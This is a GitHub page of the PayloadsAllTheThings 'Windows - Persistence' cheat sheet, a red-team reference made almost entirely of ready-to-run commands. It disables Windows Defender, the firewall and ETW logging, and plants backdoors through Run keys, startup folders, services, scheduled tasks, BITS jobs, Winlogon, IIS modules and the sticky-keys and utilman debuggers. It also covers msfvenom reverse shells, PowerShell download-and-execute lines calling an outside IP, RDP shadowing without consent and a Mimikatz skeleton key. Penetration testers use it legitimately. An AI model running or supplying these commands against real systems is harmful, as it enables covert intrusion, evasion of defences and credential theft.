PayloadsAllTheThings/Methodology and Resources/Windows - Persistence.md
2021-12-29 14:48:42 +01:00

396 lines
16 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Windows - Persistence
## Summary
* [Tools](#tools)
* [Hide Your Binary](#hide-your-binary)
* [Disable Windows Defender](#disable-windows-defender)
* [Disable Windows Firewall](#disable-windows-firewall)
* [Simple User](#simple-user)
* [Registry HKCU](#registry-hkcu)
* [Startup](#startup)
* [Scheduled Tasks User](#scheduled-tasks-user)
* [BITS Jobs](#bits-jobs)
* [Serviceland](#serviceland)
* [IIS](#iis)
* [Windows Service](#windows-service)
* [Elevated](#elevated)
* [Registry HKLM](#registry-hklm)
* [Winlogon Helper DLL](#)
* [GlobalFlag](#)
* [Startup Elevated](#startup-elevated)
* [Services Elevated](#services-elevated)
* [Scheduled Tasks Elevated](#scheduled-tasks-elevated)
* [Binary Replacement](#binary-replacement)
* [Binary Replacement on Windows XP+](#binary-replacement-on-windows-xp)
* [Binary Replacement on Windows 10+](#binary-replacement-on-windows-10)
* [RDP Backdoor](#rdp-backdoor)
* [utilman.exe](#utilman.exe)
* [sethc.exe](#sethc.exe)
* [Remote Desktop Services Shadowing](#remote-desktop-services-shadowing)
* [Skeleton Key](#skeleton-key)
* [References](#references)
## Tools
- [SharPersist - Windows persistence toolkit written in C#. - @h4wkst3r](https://github.com/fireeye/SharPersist)
## Hide Your Binary
> Sets (+) or clears (-) the Hidden file attribute. If a file uses this attribute set, you must clear the attribute before you can change any other attributes for the file.
```ps1
PS> attrib +h mimikatz.exe
```
## Disable Windows Defender
```powershell
# Disable Defender
sc config WinDefend start= disabled
sc stop WinDefend
Set-MpPreference -DisableRealtimeMonitoring $true
# Wipe currently stored definitions
# Location of MpCmdRun.exe: C:\ProgramData\Microsoft\Windows Defender\Platform\<antimalware platform version>
MpCmdRun.exe -RemoveDefinitions -All
## Exclude a process / location
Set-MpPreference -ExclusionProcess "word.exe", "vmwp.exe"
Add-MpPreference -ExclusionProcess 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
Add-MpPreference -ExclusionPath C:\Video, C:\install
# Blind ETW Windows Defender: zero out registry values corresponding to its ETW sessions
reg add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
```
## Disable Windows Firewall
```powershell
Netsh Advfirewall show allprofiles
NetSh Advfirewall set allprofiles state off
# ip whitelisting
New-NetFirewallRule -Name morph3inbound -DisplayName morph3inbound -Enabled True -Direction Inbound -Protocol ANY -Action Allow -Profile ANY -RemoteAddress ATTACKER_IP
```
## Simple User
Set a file as hidden
```powershell
attrib +h c:\autoexec.bat
```
### Registry HKCU
Create a REG_SZ value in the Run key within HKCU\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\Users\user\backdoor.exe"
```
Using SharPersist
```powershell
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env
SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add
```
### Startup
Create a batch script in the user startup folder.
```powershell
PS C:\> gc C:\Users\Rasta\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\backdoor.bat
start /b C:\Users\Rasta\AppData\Local\Temp\backdoor.exe
```
Using SharPersist
```powershell
SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add
```
### Scheduled Tasks User
Using native **schtask**
```powershell
# Create the scheduled tasks to run once at 00.00
schtasks /create /sc ONCE /st 00:00 /tn "Device-Synchronize" /tr C:\Temp\revshell.exe
# Force run it now !
schtasks /run /tn "Device-Synchronize"
```
Using Powershell
```powershell
PS C:\> $A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\Users\Rasta\AppData\Local\Temp\backdoor.exe"
PS C:\> $T = New-ScheduledTaskTrigger -AtLogOn -User "Rasta"
PS C:\> $P = New-ScheduledTaskPrincipal "Rasta"
PS C:\> $S = New-ScheduledTaskSettingsSet
PS C:\> $D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
PS C:\> Register-ScheduledTask Backdoor -InputObject $D
```
Using SharPersist
```powershell
# Add to a current scheduled task
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
# Add new task
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
```
### BITS Jobs
```powershell
bitsadmin /create backdoor
bitsadmin /addfile backdoor "http://10.10.10.10/evil.exe" "C:\tmp\evil.exe"
# v1
bitsadmin /SetNotifyCmdLine backdoor C:\tmp\evil.exe NUL
bitsadmin /SetMinRetryDelay "backdoor" 60
bitsadmin /resume backdoor
# v2 - exploit/multi/script/web_delivery
bitsadmin /SetNotifyCmdLine backdoor regsvr32.exe "/s /n /u /i:http://10.10.10.10:8080/FHXSd9.sct scrobj.dll"
bitsadmin /resume backdoor
```
## Serviceland
### IIS
IIS Raid Backdooring IIS Using Native Modules
```powershell
$ git clone https://github.com/0x09AL/IIS-Raid
$ python iis_controller.py --url http://192.168.1.11/ --password SIMPLEPASS
C:\Windows\system32\inetsrv\APPCMD.EXE install module /name:Module Name /image:"%windir%\System32\inetsrv\IIS-Backdoor.dll" /add:true
```
### Windows Service
Using SharPersist
```powershell
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
```
## Elevated
### Registry HKLM
Similar to HKCU. Create a REG_SZ value in the Run key within HKLM\Software\Microsoft\Windows.
```powershell
Value name: Backdoor
Value data: C:\Windows\Temp\backdoor.exe
```
Using the command line
```powershell
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce" /v Evil /t REG_SZ /d "C:\tmp\backdoor.exe"
```
#### Winlogon Helper DLL
> Run executable during Windows logon
```powershell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe > evilbinary.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f dll > evilbinary.dll
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Userinit /d "Userinit.exe, evilbinary.exe" /f
reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" /v Shell /d "explorer.exe, evilbinary.exe" /f
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Userinit" "Userinit.exe, evilbinary.exe" -Force
Set-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\" "Shell" "explorer.exe, evilbinary.exe" -Force
```
#### GlobalFlag
> Run executable after notepad is killed
```powershell
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe"
```
### Startup Elevated
Create a batch script in the user startup folder.
```powershell
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
```
### Services Elevated
Create a service that will start automatically or on-demand.
```powershell
# Powershell
New-Service -Name "Backdoor" -BinaryPathName "C:\Windows\Temp\backdoor.exe" -Description "Nothing to see here." -StartupType Automatic
sc start pentestlab
# SharPersist
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c backdoor.exe" -n "Backdoor" -m add
# sc
sc create Backdoor binpath= "cmd.exe /k C:\temp\backdoor.exe" start="auto" obj="LocalSystem"
sc start Backdoor
```
### Scheduled Tasks Elevated
Scheduled Task to run as SYSTEM, everyday at 9am or on a specific day.
> Processes spawned as scheduled tasks have taskeng.exe process as their parent
```powershell
# Powershell
$A = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c C:\temp\backdoor.exe"
$T = New-ScheduledTaskTrigger -Daily -At 9am
# OR
$T = New-ScheduledTaskTrigger -Daily -At "9/30/2020 11:05:00 AM"
$P = New-ScheduledTaskPrincipal "NT AUTHORITY\SYSTEM" -RunLevel Highest
$S = New-ScheduledTaskSettingsSet
$D = New-ScheduledTask -Action $A -Trigger $T -Principal $P -Settings $S
Register-ScheduledTask "Backdoor" -InputObject $D
# Native schtasks
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr C:\tools\shell.cmd /ru "SYSTEM"
schtasks /create /sc minute /mo 1 /tn "eviltask" /tr calc /ru "SYSTEM" /s dc-mantvydas /u user /p password
schtasks /Create /RU "NT AUTHORITY\SYSTEM" /tn [TaskName] /tr "regsvr32.exe -s \"C:\Users\*\AppData\Local\Temp\[payload].dll\"" /SC ONCE /Z /ST [Time] /ET [Time]
##(X86) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X86) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X86) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\system32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
##(X64) - On User Login
schtasks /create /tn OfficeUpdaterA /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onlogon /ru System
##(X64) - On System Start
schtasks /create /tn OfficeUpdaterB /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onstart /ru System
##(X64) - On User Idle (30mins)
schtasks /create /tn OfficeUpdaterC /tr "c:\windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -WindowStyle hidden -NoLogo -NonInteractive -ep bypass -nop -c 'IEX ((new-object net.webclient).downloadstring(''http://192.168.95.195:8080/kBBldxiub6'''))'" /sc onidle /i 30
```
### Binary Replacement
#### Binary Replacement on Windows XP+
| Feature | Executable |
|---------------------|---------------------------------------|
| Sticky Keys | C:\Windows\System32\sethc.exe |
| Accessibility Menu | C:\Windows\System32\utilman.exe |
| On-Screen Keyboard | C:\Windows\System32\osk.exe |
| Magnifier | C:\Windows\System32\Magnify.exe |
| Narrator | C:\Windows\System32\Narrator.exe |
| Display Switcher | C:\Windows\System32\DisplaySwitch.exe |
| App Switcher | C:\Windows\System32\AtBroker.exe |
In Metasploit : `use post/windows/manage/sticky_keys`
#### Binary Replacement on Windows 10+
Exploit a DLL hijacking vulnerability in the On-Screen Keyboard **osk.exe** executable.
Create a malicious **HID.dll** in `C:\Program Files\Common Files\microsoft shared\ink\HID.dll`.
### RDP Backdoor
#### utilman.exe
At the login screen, press Windows Key+U, and you get a cmd.exe window as SYSTEM.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
#### sethc.exe
Hit F5 a bunch of times when you are at the RDP login screen.
```powershell
REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /t REG_SZ /v Debugger /d "C:\windows\system32\cmd.exe" /f
```
### Remote Desktop Services Shadowing
:warning: FreeRDP and rdesktop don't support Remote Desktop Services Shadowing feature.
Requirements:
* RDP must be running
```powershell
reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 4
# 4 View Session without users permission.
# Allowing remote connections to this computer
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
# Disable UAC remote restriction
reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
mstsc /v:{ADDRESS} /shadow:{SESSION_ID} /noconsentprompt /prompt
# /v parameter lets specify the {ADDRESS} value that is an IP address or a hostname of a remote host;
# /shadow parameter is used to specify the {SESSION_ID} value that is a shadowees session ID;
# /noconsentprompt parameter allows to bypass a shadowees permission and shadow their session without their consent;
# /prompt parameter is used to specify a users credentials to connect to a remote host.
```
### Skeleton Key
```powershell
# Exploitation Command runned as DA:
Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton"' -ComputerName <DCs FQDN>
# Access using the password "mimikatz"
Enter-PSSession -ComputerName <AnyMachineYouLike> -Credential <Domain>\Administrator
```
## References
* [A view of persistence - Rastamouse](https://rastamouse.me/2018/03/a-view-of-persistence/)
* [Windows Persistence Commands - Pwn Wiki](http://pwnwiki.io/#!persistence/windows/index.md)
* [SharPersist Windows Persistence Toolkit in C - Brett Hawkins](http://www.youtube.com/watch?v=K7o9RSVyazo)
* [IIS Raid Backdooring IIS Using Native Modules - 19/02/2020](https://www.mdsec.co.uk/2020/02/iis-raid-backdooring-iis-using-native-modules/)
* [Old Tricks Are Always Useful: Exploiting Arbitrary File Writes with Accessibility Tools - Apr 27, 2020 - @phraaaaaaa](https://iwantmore.pizza/posts/arbitrary-write-accessibility-tools.html)
* [Persistence - Checklist - @netbiosX](https://github.com/netbiosX/Checklists/blob/master/Persistence.md)
* [Persistence Winlogon Helper DLL - @netbiosX](https://pentestlab.blog/2020/01/14/persistence-winlogon-helper-dll/)
* [Persistence - BITS Jobs - @netbiosX](https://pentestlab.blog/2019/10/30/persistence-bits-jobs/)
* [Persistence Image File Execution Options Injection - @netbiosX](https://pentestlab.blog/2020/01/13/persistence-image-file-execution-options-injection/)
* [Persistence Registry Run Keys - @netbiosX](https://pentestlab.blog/2019/10/01/persistence-registry-run-keys/)